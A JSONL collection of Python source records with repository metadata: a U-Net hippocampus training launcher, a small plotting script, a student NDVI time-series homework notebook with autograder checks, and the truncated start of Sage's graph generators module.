{"text": "\"\"\"\nThis file contains code that will kick off training and testing processes\n\"\"\"\nimport os\nimport json\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom experiments.UNetExperiment import UNetExperiment\nfrom data_prep.HippocampusDatasetLoader import LoadHippocampusData\n\nclass Config:\n    \"\"\"\n    Holds configuration parameters\n    \"\"\"\n    def __init__(self):\n        self.name = \"Basic_unet\"\n        self.root_dir = r\"/home/workspace/src/data\" \n        self.n_epochs = 10\n        self.learning_rate = 0.0002\n        self.batch_size = 8\n        self.patch_size = 64\n        self.test_results_dir = r\"..\\out\"\n\nif __name__ == \"__main__\":\n    # Get configuration\n\n    # TASK: Fill in parameters of the Config class and specify directory where the data is stored and \n    # directory where results will go\n    c = Config()\n\n    # Load data\n    print(\"Loading data...\")\n\n    # TASK: LoadHippocampusData is not complete. Go to the implementation and complete it. \n    data = LoadHippocampusData(c.root_dir, y_shape = c.patch_size, z_shape = c.patch_size)\n\n\n    # Create test-train-val split\n    # In a real world scenario you would probably do multiple splits for \n    # multi-fold training to improve your model quality\n\n    keys = range(len(data))\n\n    # Here, random permutation of keys array would be useful in case if we do something like \n    # a k-fold training and combining the results. \n\n    split = dict()\n\n    # TASK: create three keys in the dictionary: \"train\", \"val\" and \"test\". In each key, store\n    # the array with indices of training volumes to be used for training, validation \n    # and testing respectively.\n    # <YOUR CODE GOES HERE>\n    \n    # 60:20:20 split using train_test_split()\n    train, test = train_test_split(keys, test_size=0.2, shuffle=True, random_state=1)\n    train, val = train_test_split(train, test_size=0.25, shuffle=True, random_state=1)\n    \n    print(\"Train Size:\", len(train), \"; Validation Size:\", len(val), \"; Test Size:\", len(test))    \n    split={'train': np.array(train),'val': np.array(val),'test': np.array(test)}\n   \n       \n    # Set up and run experiment\n    \n    # TASK: Class UNetExperiment has missing pieces. Go to the file and fill them in\n    exp = UNetExperiment(c, split, data)\n\n    # You could free up memory by deleting the dataset\n    # as it has been copied into loaders\n    # del dataset \n    del test; del train; del val\n    \n    # run training\n    exp.run()\n\n    # prep and run testing\n\n    # TASK: Test method is not complete. Go to the method and complete it\n    results_json = exp.run_test()\n\n    results_json[\"config\"] = vars(c)\n\n    with open(os.path.join(exp.out_dir, \"results.json\"), 'w') as out_file:\n        json.dump(results_json, out_file, indent=2, separators=(',', ': '))\n", "meta": {"hexsha": "5faa55f22ba965e1131c95116b38574073f09268", "size": 2779, "ext": "py", "lang": "Python", "max_stars_repo_path": "section2/run_ml_pipeline.py", "max_stars_repo_name": "rociobz/Hippocampal_Volume_Quantification_in_Alzheimer_Progression", "max_stars_repo_head_hexsha": "0dae2e48d9e268858f79fc65ddbe10dc3e645a55", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-02-07T16:15:38.000Z", "max_stars_repo_stars_event_max_datetime": "2021-02-07T16:15:38.000Z", "max_issues_repo_path": "section2/run_ml_pipeline.py", "max_issues_repo_name": "rociobz/Hippocampal_Volume_Quantification_in_Alzheimer_Progression", "max_issues_repo_head_hexsha": "0dae2e48d9e268858f79fc65ddbe10dc3e645a55", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "section2/run_ml_pipeline.py", "max_forks_repo_name": "rociobz/Hippocampal_Volume_Quantification_in_Alzheimer_Progression", "max_forks_repo_head_hexsha": "0dae2e48d9e268858f79fc65ddbe10dc3e645a55", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.0833333333, "max_line_length": 102, "alphanum_fraction": 0.6768621806, "include": true, "reason": "import numpy", "num_tokens": 678, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43014734858584286, "lm_q2_score": 0.15817435870093427, "lm_q1q2_score": 0.06803828100947291}}
{"text": "from matplotlib.pyplot import figure, plot, savefig, xlabel, ylabel\nfrom numpy import genfromtxt\nfrom sys import argv\n\ninput_file = str(argv[1])\noutput_file = str(argv[2])\n\ndata = genfromtxt(input_file, delimiter=',')\nx = data[0]\nufinal = data[1]\n\nfigure()\nplot(x, ufinal, '-')\nxlabel('x')\nylabel('u(x, T)')\nsavefig(output_file)\n\nprint('Generated ' + output_file)\n", "meta": {"hexsha": "44fc47e4bb4d77e12e8bc4d2d3655dc34476df12", "size": 364, "ext": "py", "lang": "Python", "max_stars_repo_path": "homeworks/FiniteVolumeSineConsLaw/templates/plot.py", "max_stars_repo_name": "padomu/NPDECODES", "max_stars_repo_head_hexsha": "d2bc5b0d2d5e76e4d5b8ab6948c82f902211182e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 15, "max_stars_repo_stars_event_min_datetime": "2019-04-29T11:28:56.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-22T05:10:58.000Z", "max_issues_repo_path": "homeworks/FiniteVolumeSineConsLaw/templates/plot.py", "max_issues_repo_name": "padomu/NPDECODES", "max_issues_repo_head_hexsha": "d2bc5b0d2d5e76e4d5b8ab6948c82f902211182e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 12, "max_issues_repo_issues_event_min_datetime": "2020-02-29T15:05:58.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-21T13:51:07.000Z", "max_forks_repo_path": "homeworks/FiniteVolumeSineConsLaw/templates/plot.py", "max_forks_repo_name": "padomu/NPDECODES", "max_forks_repo_head_hexsha": "d2bc5b0d2d5e76e4d5b8ab6948c82f902211182e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 26, "max_forks_repo_forks_event_min_datetime": "2020-01-09T15:59:23.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-24T16:27:33.000Z", "avg_line_length": 19.1578947368, "max_line_length": 67, "alphanum_fraction": 0.7142857143, "include": true, "reason": "from numpy", "num_tokens": 100, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4301473485858429, "lm_q2_score": 0.1581743467959293, "lm_q1q2_score": 0.0680382758885666}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <img style=\"float: left;\" src=\"earth-lab-logo-rgb.png\" width=\"150\" height=\"150\" />\n# \n# # Earth Analytics Education - EA  Python Course Spring 2021\n\n# ## Important  - Assignment Guidelines\n# \n# 1. Before you submit your assignment to GitHub, make sure to run the entire notebook with a fresh kernel. To do this first, **restart the kernel** (in the menubar, select Kernel$\\rightarrow$Restart & Run All)\n# 2. Always replace the `raise NotImplementedError()` code with your code that addresses the activity challenge. If you don't replace that code, your notebook will not run.\n# \n# ```\n# # YOUR CODE HERE\n# raise NotImplementedError()\n# ```\n# \n# 3. Any open ended questions will have a \"YOUR ANSWER HERE\" within a markdown cell. Replace that text with your answer also formatted using Markdown.\n# 4. **DO NOT RENAME THIS NOTEBOOK File!** If the file name changes, the autograder will not grade your assignment properly.\n# 6. When you create a figure, comment out `plt.show()` to ensure the autograder can grade your plots. For figure cells, DO NOT DELETE the code that says `DO NOT REMOVE LINE BELOW`.\n# \n# ```\n# ### DO NOT REMOVE LINE BELOW ###\n# student_plot1_ax = nb.convert_axes(plt)\n# ```\n# \n# * Only include the package imports, code, and outputs that are required to run your homework assignment.\n# * Be sure that your code can be run on any operating system. This means that:\n#    1. the data should be downloaded in the notebook to ensure it's reproducible\n#    2. all paths should be created dynamically using the `os.path.join`\n# \n# ## Follow to PEP 8 Syntax Guidelines & Documentation\n# \n# * Run the `autopep8` tool on all cells prior to submitting (HINT: hit shift + the tool to run it on all cells at once!\n# * Use clear and expressive names for variables. \n# * Organize your code to support readability.\n# * Check for code line length\n# * Use comments and white space sparingly where it is needed\n# * Make sure all python imports are at the top of your notebook and follow PEP 8 order conventions\n# * Spell check your Notebook before submitting it.\n# \n# For all of the plots below, be sure to do the following:\n# \n# * Make sure each plot has a clear TITLE and, where appropriate, label the x and y axes. Be sure to include UNITS in your labels.\n# \n\n# ### Add Your Name Below \n# **Carson Norris**\n\n# # Week 04 and 05 Homework - Automate NDVI Workflow\n# \n# For this assignment, you will write code to generate a plot of the mean normalized difference vegetation index (NDVI) for two different sites in the United States across one year of data:\n# \n# * San Joaquin Experimental Range (SJER) in Southern California, United States\n# * Harvard Forest (HARV) in the Northeastern United States\n# \n# The data that you will use for this week is available from **earthpy** using the following download: \n# \n# `et.data.get_data('ndvi-automation')`\n# \n# ## Assignment Goals\n# \n# Your goal in this assignment is to create the most efficient and concise workflow that you can that allows for:\n# \n# 1. The code to scale if you added new sites or more time periods to the analysis.\n# 2. Someone else to understand your workflow.\n# 3. The LEAST and most efficient (i.e. runs fast, minimize repetition) amount of code that completes the task.\n# \n# ### HINTS\n# \n# * Remove values outside of the landsat valid range of values as specified in the metadata, as needed.\n# * Keep any output files SEPARATE FROM input files. Outputs should be created in an outputs directory that is created in the code (if needed) and/or tested for.\n# * Use the functions that we demonstrated during class to make your workflow more efficient.\n# * BONUS - if you  chose - you can export your data as a csv file. You will get bonus points for doing this.\n# \n# \n# ## Assignment Requirements\n# \n# Your submission to the GitHub repository should include:\n# * This Jupyter Notebook file (.ipynb) with:\n#     * The code to create a plot of mean NDVI across a year for  2 NEON Field Sites:\n#         * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object\n#     * The **data should be cleaned to remove the influence of clouds**. See the [earthdatascience website for an example of what your plot might look like with and without removal of clouds](https://www.earthdatascience.org/courses/earth-analytics-python/create-efficient-data-workflows/).\n# * BONUS: Create one output `.csv` file that has 3 columns - NDVI, Date and Site Name - with values for SJER and HARV.\n# \n# Your notebook should:\n# * Have *at least* 2 well documented and well named functions with docstrings.\n# * Include a Markdown cell at the top of the notebook that outlines the overall workflow using pseudocode (i.e. plain language, not code)\n# * Include additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# <img style=\"float: left;\" src=\"colored-bar.png\"/>\n\n# ---\n\n# # Replace this cell with your pseudocode  for this workflow\n# \n# If you happen to be a diagram person a diagram is ok too\n# \n# \n\n# \n# # High Level Overview\n# \n# **1. Loop through each landsat directory of tif files (each scene)**\n# \n#    * create a list of paths to directories for both scenes\n#    * in each loop iteration, grab the date from the directory name\n#    * create an empty dictionary with a key for that date\n#     \n# **2. Create a list of all tif files that you will need in the scene's directory**\n# \n# **3. Open / crop / clean the tif files that  you need for your analysis**\n# \n# **4. Optional: combine into a single object**\n# \n# **5. Calculate veg indices**\n# \n#    * NDVI\n#    * NBR / dNBR\n#    \n# **6. Landsat  Data Only: Apply cloud  mask  to  final  NBR /  NDVI  layers**\n\n# In[1]:\n\n\n# Autograding imports - do not modify this cell\nimport matplotcheck.autograde as ag\nimport matplotcheck.notebook as nb\nimport matplotcheck.timeseries as ts\nfrom datetime import datetime\n\n\n# In[2]:\n\n\n# Import needed packages in PEP 8 order\n# and no unused imports listed (10 points total)\nimport os\nfrom glob import glob\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport geopandas as gpd \nimport xarray as xr \nimport rioxarray as rxr\nfrom rasterio.plot import plotting_extent\nimport earthpy as et\nimport earthpy.mask as em\nfrom matplotlib.dates import DateFormatter\n\n\n# Get data\ndata = et.data.get_data('ndvi-automation')\n\n# Set working directory\nos.chdir(os.path.join(et.io.HOME,\n                      'earth-analytics',\n                      'data'))\n\n\n# In[3]:\n\n\n# DO NOT MODIFY THIS CELL\n# Tests that the working directory is set to earth-analytics/data\n\npath = os.path.normpath(os.getcwd())\nstudent_wd_parts = path.split(os.sep)\n\nif student_wd_parts[-2:] == ['earth-analytics', 'data']:\n    print(\"\\u2705 Great - it looks like your working directory is set correctly to ~/earth-analytics/data\")\nelse:\n    print(\"\\u274C Oops, the autograder will not run unless your working directory is set to earth-analytics/data\")\n\n\n# In[4]:\n\n\n# Site data\npath = os.path.join('ndvi-automation', 'sites')\n\nall_sites_dirs = glob(path + \"/*/\")\nfor site_dirs in all_sites_dirs:\n    print(site_dirs)\n\nsite_name = os.path.basename(os.path.normpath(all_sites_dirs[1]))\nsite_name\n\n\n# In[5]:\n\n\n# Shapefile data\nvector_dir = os.path.join(all_sites_dirs[1], \"vector\")\n\n# Create boundary\nsite_boundary_path = os.path.join(vector_dir, site_name + \"-crop.shp\")\ncrop_bound = gpd.read_file(site_boundary_path)\n\n# Test boundary plot\ncrop_bound.plot()\nplt.show()\n\n\n# In[6]:\n\n\n# Test cell\nlandsat_dir = os.path.join(site_dirs,\n                           \"landsat-crop\")\n# This is the crop folder containing all of the .tif files\nlandsat_dirs = sorted(glob(os.path.join(landsat_dir, \"LC08*\")))\nlandsat_dirs\n\n\n# # Figure 1: Plot 1 - Mean NDVI For Each Site Across the Year (50 points)\n# \n# Create a plot of the mean normalized difference vegetation index (NDVI) for the two different sites in the United States across the year: \n# \n# * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object.\n# * Each site should be identified with a different color in the plot and legend.\n# * The final plot **data should be cleaned to remove the influence of clouds**.\n# * Be sure to include appropriate title and axes labels.\n# \n# Add additional cells as needed for processing data (e.g. defining functions, etc), but be sure to:\n# * follow the instructions in the code cells that have been provided to ensure that you are able to use the sanity check tests that are provided. \n# * include only the plot code in the cell identified for the final plot code below\n\n# ## Task 1: \n# \n# In the cell below, create a single dataframe containing MEAN NDVI, the site name, \n# and the date of the data for the HARV site \n# scene `HARV/landsat-crop/LC080130302017031701T1-SC20181023151837`.  The column names for the  final\n# DataFrame should be`mean_ndvi`, and `site`, and the data should be **indexed on the date**. \n# \n# Use the functions that we reviewed in class (or create your own versions of them) to implement your code\n# \n# ### In the Cell below Place  All Functions Needed to Run this Notebook (20 points)\n\n# In[7]:\n\n\n# In this cell place all of the functions needed to run your notebook\n# You will be graded here on function application, docstrings, efficiency so ensure\n# All functions are placed here!\n# Function A\ndef open_clean_bands(band_path,\n                     valid_range=None):\n    \"\"\"Open path to file, mask single band in file within specified\n       range values.\n\n    Parameters\n    ----------\n    band_path : string\n        A path to the array to be opened\n    valid_range : tuple (optional)\n        A tuple of min and max range values for the data. Default = None\n\n    Returns\n    ----------\n    band : xarray DataArray\n        An xarray DataArray with values that should be masked set to 1 for\n        True (Boolean)\n    \"\"\"\n    \n    # Open, clip, mask single band using rioxarray to valid range\n    band = (rxr.open_rasterio(band_path, masked=True)\n            .rio.clip(crop_bound.geometry, from_disk=True)\n            .squeeze())\n\n    # Specify the valid range of values\n    if valid_range:\n        mask = ((band <= 0) | (band > 10000))\n        band = band.where(~mask, np.nan)\n\n    return band\n\n# Function B\n\n\ndef mask_crop_ndvi(all_bands,\n                   crop_bound,\n                   pixel_qa,\n                   vals):\n    \"\"\"Open and mask a single Landsat band using a pixel_qa layer.\n\n    Parameters\n    -----------\n    all_bands : list\n        A list containing paths to Landsat bands 4 and 5 as .tif files\n    pixel_qa : xarray DataArray\n        An xarray DataArray with pixel qa values that have not yet been \n        turned into a mask (0s and 1s)\n    crop_bounds : geopandas GeoDataFrame\n        A geopandas dataframe to be used to crop the raster data using\n        rasterio mask()\n    vals : list\n        A list of values needed to create the cloud mask\n\n    Returns\n    --------\n    mean_ndvi : xarray.DataArray\n        A cropped, masked xarray object containing NDVI values\n\n    \"\"\"\n    # Create empty list\n    bands = []\n    for band_path in all_bands_path:\n        clean_bands = open_clean_bands(band_path=band_path,\n                                       valid_range=(0, 10000))\n\n        bands.append(clean_bands)\n\n    # Open and clip cloud mask layer\n    cl_mask = (rxr.open_rasterio(pixel_qa_path, masked=True)\n               .rio.clip(crop_bound.geometry, from_disk=True).squeeze())\n    \n    # Apply cloud mask to NDVI\n    all_masked_values = [328, 392, 840, 904, 1350, 352, 368, 416,\n                         432, 480, 864, 880, 928, 944, 992, 480, 992]\n\n\n    # Calculate NDVI\n    ndvi_xr = (bands[1]-bands[0]) / (bands[1]+bands[0])\n\n    # Apply cloud mask to NDVI\n    all_masked_values = [328, 392, 840, 904, 1350, 352, 368, 416,\n                         432, 480, 864, 880, 928, 944, 992, 480, 992]\n\n    ndvi_mask = ndvi_xr.where(~cl_mask.isin(all_masked_values))\n\n    # Calculate NDVI values\n    mean_ndvi = ndvi_mask.mean(skipna=True).item()\n\n    return mean_ndvi\n\n\n# In[8]:\n\n\n# Define directory name\nsite_crop_dir = \"landsat-crop\"\n\n# Create empty list\nndvi_list = []\n\n# Loop through each site directory\nfor site_dir in all_sites_dirs:\n    print(\"I am looping through: \", site_dir)\n    # Get site name\n    site = os.path.normpath(site_dir).split(os.sep)[-1]\n\n    # Get a list of subdirectories for the site\n    print(\"I am working on\", site, \"field site now\")\n    site_crop_dir_path = os.path.join(site_dir, site_crop_dir)\n    scene_dirs = sorted(glob(site_crop_dir_path + \"/*/\"))\n    \n    # Shapefile data\n    vector_dir = os.path.join(site_dir, \"vector\")\n    # Create boundary\n    site_boundary_path = os.path.join(vector_dir, site + \"-crop.shp\")\n    crop_bound = gpd.read_file(site_boundary_path)\n\n    # Loop through each scene subdirectory for stored data\n    for scene_dir in scene_dirs:\n        print(\"Scene is processing\", scene_dir.split(os.sep)[-2])\n        date = scene_dir[50:58]\n\n    \n        # Grab only necessary bands\n        all_bands_path = sorted(glob(os.path.join(scene_dir,\n                                                  \"*band*[4-5].tif\")))\n\n        # Grab QA band\n        pixel_qa_path = glob(os.path.join(scene_dir, \"*qa*\"))[0]\n\n\n\n        # Apply cloud mask to NDVI > confirm function operability\n        all_masked_values = [328, 392, 840, 904, 1350, 352, 368, 416,\n                             432, 480, 864, 880, 928, 944, 992, 480, 992]\n\n        #  Calculate NDVI\n        ndvi_values = mask_crop_ndvi(all_bands=all_bands_path,\n                                     pixel_qa=pixel_qa_path,\n                                     crop_bound=crop_bound,\n                                     vals=all_masked_values)\n\n        # Append NDVI to columns\n        outputs = [site, date, ndvi_values]\n        ndvi_list.append(outputs)\n\nndvi_list\n\n\n# In[9]:\n\n\n### DO NOT REMOVE THIS LINE OR EDIT / MOVE THIS CELL ###\nstart_time = datetime.now()\n\n\n# In[10]:\n\n\n# Create dataframe of mean NDVI in this cell using the functions created above\n# Important: to use the ungraded tests below as a sanity check,\n# name your columns: mean_ndvi and site\n# Call the dataframe at the end of the cell so the tests run on it!\n# Be sure that the date column is an index of type date\n# HINT: the time series lessons may help you remember how to do this!\nndvi_df = pd.DataFrame(ndvi_list,\n                       columns = ['site', 'date', 'mean_ndvi'])\n\n\nndvi_df['date'] = pd.to_datetime(ndvi_df['date'])\n\nharv_ndvi_df = ndvi_df[0:23].set_index(\"date\")\n\nfinal_harv_df = harv_ndvi_df.dropna(how='any')\n\nfinal_harv_df\n\n\n# In[11]:\n\n\n# This cell  is testing your data output above\n\nstudent_ndvi_ts_single_site = _\n\nsingle_scene_points = 0\n\n# Ensure the data is stored in a dataframe.\nif isinstance(student_ndvi_ts_single_site, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    single_scene_points += 1\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_ts_single_site.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    single_scene_points += 2\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_ts_single_site.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    single_scene_points += 2\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Ensure the site name is correct\nif student_ndvi_ts_single_site.site.values[0] == 'HARV':\n    print('\\u2705 You have the correct site name!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct site name.')\n\nif np.allclose(0.281131628228094, student_ndvi_ts_single_site.mean_ndvi.values[0]):\n    print('\\u2705 You have the correct mean NDVI value!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct mean ndvi value.')\n\nprint(\"\\n \\u27A1 You received {} out of 15 points for creating a dataframe.\".format(\n    single_scene_points))\nsingle_scene_points\n\n\n# ## Task 2:\n# \n# In the cell below, process all of the landsat scenes. Create a DataFrame that contains the following \n# information for each scene\n# \n# \n# |   | index  | site  | mean_ndvi  | \n# |---|---|---|---|\n# | Date  |   |   |   |\n# |  2017-01-07  | 0  | SJER  | .4  |  \n# \n# Be sure to call your dataframe at the end of the cell to ensure autograding works.\n# HINT: FOR THIS STEP, leave any rows containing missing values (`NAN`).\n\n# In[12]:\n\n\n# Create dataframe of NDVI including the cleaning data to deal with clouds\n\n# Important: to use the ungraded tests below as a sanity check,\n# name your columns: mean_ndvi and site\n# Don't forget to set date as the index and make the values of type datetime\nall_ndvi_df = ndvi_df.set_index(\"date\")\nall_ndvi_df\n\n\n# In[13]:\n\n\n# Last sanity check before creating your plot (10 points)\n\n# Ensure that you call your dataframe at the bottom of the cell above\n# and that it has columns called: mean_ndvi and site\n\n# Ensure the data is stored in a dataframe.\nstudent_ndvi_df = _\n\ndf_points = 0\n\nif isinstance(student_ndvi_df, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    df_points +=2\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Check that dataframe contains the appropriate number of NAN values\nif student_ndvi_df.mean_ndvi.isna().sum() == 15:\n    print('\\u2705 Correct number of masked data values!')\n    df_points +=2\nelse:\n    print('\\u274C The amount of null data in your dataframe is incorrect.')\n\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_df.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    df_points +=3\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_df.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    df_points +=3\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Output for timer, # DO NOT MODIFY\nend_time = datetime.now()\ntotal_time = end_time - start_time\nprint(\n    \"Your total run time for processing the data was {0}.\".format(total_time))\n\nprint(\"\\n \\u27A1 You received {} out of 10 points for creating a dataframe.\".format(\n    df_points))\n\ndf_points\n\n\n# In[ ]:\n\n\n\n\n\n# In[14]:\n\n\nall_ndvi_df\n\n\n# In[15]:\n\n\n# Add only the plot code to this cell\n\n# This is the final figure of mean NDVI\n# for both sites across the year\n# with data cleaned to deal with clouds\n\nsite_colors = {'HARV': 'purple', 'SJER': 'cyan'}\n\n\nfig, ax = plt.subplots(figsize=(10, 12))\nfig.suptitle('Mean Normalized Difference Vegetation Index\\n Jan 2017 - Dec 2017',\n             fontsize=20, fontweight='bold')\n\n\nfor site, df in all_ndvi_df.dropna().groupby('site'):\n    if site in ['HARV']:\n        site_name = 'HARV'\n    else:\n        site_name = 'SJER'\n    \n    label = site\n    color = site_colors[site]\n    \n    ax.plot(df.index, df.mean_ndvi, label = site_name,\n            color = site_colors[site], marker = 'o')\n\n\n# Set axes labels\nax.xaxis.set_major_formatter(DateFormatter(\"%b\"))\nax.set(xlabel=\"Month\",\n       ylabel=\"Mean NDVI\")\n\n# Add legends\nax.legend(['HARV', 'SJER'], loc='upper right',\n          bbox_to_anchor=(1.5, 1), borderaxespad=0)\n\n\n\n### DO NOT REMOVE LINES BELOW ###\nfinal_masked_solution = nb.convert_axes(plt, which_axes=\"current\")\n\n\n# In[16]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# In[17]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# # Question 1 (10 points)\n# \n# Imagine that you are planning NEON\u2019s upcoming flight season to capture remote sensing data in these locations and want to ensure that you fly the area when the vegetation is the most green.\n# \n# When would you recommend the flights take place for each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# For the HARV site the best recommended flight time is June to August. The SJER site as a much shorter growth season which is between Mar and early June before a precipitous drop to low NDVI rates.\n\n# # Question 2 (10 points)\n# \n# How could you modify your workflow to look at vegetation changes over time in each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# Within the for loop one can replace the code that summarizes by mean. Can focus on a comparison of maximum values across the sites perhaps to view changes over time in the context of an event trigger. \n\n# # Do not edit this cell! (10 points)\n# \n# The notebook includes:\n# * additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Do not edit this cell! (20 points)\n# \n# The notebook will also be checked for overall clean code requirements as specified at the **top** of this notebook. Some of these requirements include (review the top cells for more specifics): \n# \n# * Notebook begins at cell [1] and runs on any machine in its entirety.\n# * PEP 8 format is applied throughout (including lengths of comment and code lines).\n# * No additional code or imports in the notebook that is not needed for the workflow.\n# * Notebook is fully reproducible. This means:\n#    * reproducible paths using the os module.\n#    * data downloaded using code in the notebook.\n#    * all imports at top of notebook.\n\n# ## BONUS - Export a  .CSV File to Share (10 points possible)\n# \n# This is optional - if you export a **.csv** file with the columns specified above: Site, Date and NDVI Value you can get an additional 10 points.\n# \n# * FULL CREDIT: File exists in csv format and contains the columns specified.\n# We will check your github repo for this file!\n# \n\n# In[18]:\n\n\n# Export DataFrame to .csv file\nndvi_df_csv = all_ndvi_df.dropna()\n\n\n# Export to directory\nndvi_df_csv.to_csv(os.path.join(et.io.HOME,\n                                \"earth-analytics\",\n                                \"ea-2022-04-ndvi-automation-cnorristellar\",\n                                \"ndvi_df.csv\"))\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "9c596374da8ef89202dc372d1f739f0831f333d8", "size": 22717, "ext": "py", "lang": "Python", "max_stars_repo_path": "ea-2022-04-ndvi-automation.py", "max_stars_repo_name": "cnorristellar/ea-2021-ndvi-automation-review", "max_stars_repo_head_hexsha": "9d9bb481ccc7a8d266ec684b1e5029e17763537f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "ea-2022-04-ndvi-automation.py", "max_issues_repo_name": "cnorristellar/ea-2021-ndvi-automation-review", "max_issues_repo_head_hexsha": "9d9bb481ccc7a8d266ec684b1e5029e17763537f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "ea-2022-04-ndvi-automation.py", "max_forks_repo_name": "cnorristellar/ea-2021-ndvi-automation-review", "max_forks_repo_head_hexsha": "9d9bb481ccc7a8d266ec684b1e5029e17763537f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.8280346821, "max_line_length": 291, "alphanum_fraction": 0.6920368006, "include": true, "reason": "import numpy", "num_tokens": 5750, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.320821300824607, "lm_q2_score": 0.21206881431678098, "lm_q1q2_score": 0.06803619287344172}}
{"text": "# -*- coding: utf-8 -*-\nr\"\"\"\nCommon graphs\n\nAll graphs in Sage can be built through the ``graphs`` object. In order to\nbuild a complete graph on 15 elements, one can do::\n\n    sage: g = graphs.CompleteGraph(15)\n\nTo get a path with 4 vertices, and the house graph::\n\n    sage: p = graphs.PathGraph(4)\n    sage: h = graphs.HouseGraph()\n\nMore interestingly, one can get the list of all graphs that Sage knows how to\nbuild by typing ``graphs.`` in Sage and then hitting tab.\n\"\"\"\nfrom __future__ import print_function, absolute_import, division\nfrom sage.env import SAGE_NAUTY_BINS_PREFIX as nautyprefix\n\nimport subprocess\n\n# This method appends a list of methods to the doc as a 3xN table.\n\n# Here's the point :\n#\n# we just have to insert the method's name in this file to add it to\n# the tab, and in exchange the doc contains a table of width 3 with\n# all methods listed, so that the reading order is Column1, then\n# Column2, then Column3. Doing this by hand is hell with Sphinx when\n# you need to insert a new method inside of the list !\n\ndef __append_to_doc(methods):\n    global __doc__\n    __doc__ += (\"\\n.. csv-table::\\n\"\n    \"    :class: contentstable\\n\"\n    \"    :widths: 33, 33, 33\\n\"\n    \"    :delim: |\\n\\n\")\n\n    h = (len(methods)+2)//3\n    # Reorders the list of methods for horizontal reading, the only one Sphinx understands\n    reordered_methods = [0]*3*h\n    for i, m in enumerate(methods):\n        reordered_methods[3*(i%h)+(i//h)] = m\n    methods = reordered_methods\n\n    # Adding the list to the __doc__ string\n    wrap_name = lambda x : \":meth:`\"+str(x)+\" <GraphGenerators.\"+str(x)+\">`\" if x else \"\"\n    while methods:\n        a = methods.pop(0)\n        b = methods.pop(0)\n        c = methods.pop(0)\n        __doc__ += \"    \"+wrap_name(a)+\" | \"+wrap_name(b)+\" | \"+wrap_name(c)+\"\\n\"\n\n__doc__ += \"\"\"\n**Basic structures**\n\"\"\"\n\n__append_to_doc(\n    [\"BullGraph\",\n     \"ButterflyGraph\",\n     \"CircularLadderGraph\",\n     \"ClawGraph\",\n     \"CycleGraph\",\n     \"CompleteBipartiteGraph\",\n     \"CompleteGraph\",\n     \"CompleteMultipartiteGraph\",\n     \"DiamondGraph\",\n     \"GemGraph\",\n     \"DartGraph\",\n     \"ForkGraph\",\n     \"DipoleGraph\",\n     \"EmptyGraph\",\n     \"Grid2dGraph\",\n     \"GridGraph\",\n     \"HouseGraph\",\n     \"HouseXGraph\",\n     \"LadderGraph\",\n     \"LollipopGraph\",\n     \"PathGraph\",\n     \"StarGraph\",\n     \"TadpoleGraph\",\n     \"ToroidalGrid2dGraph\",\n     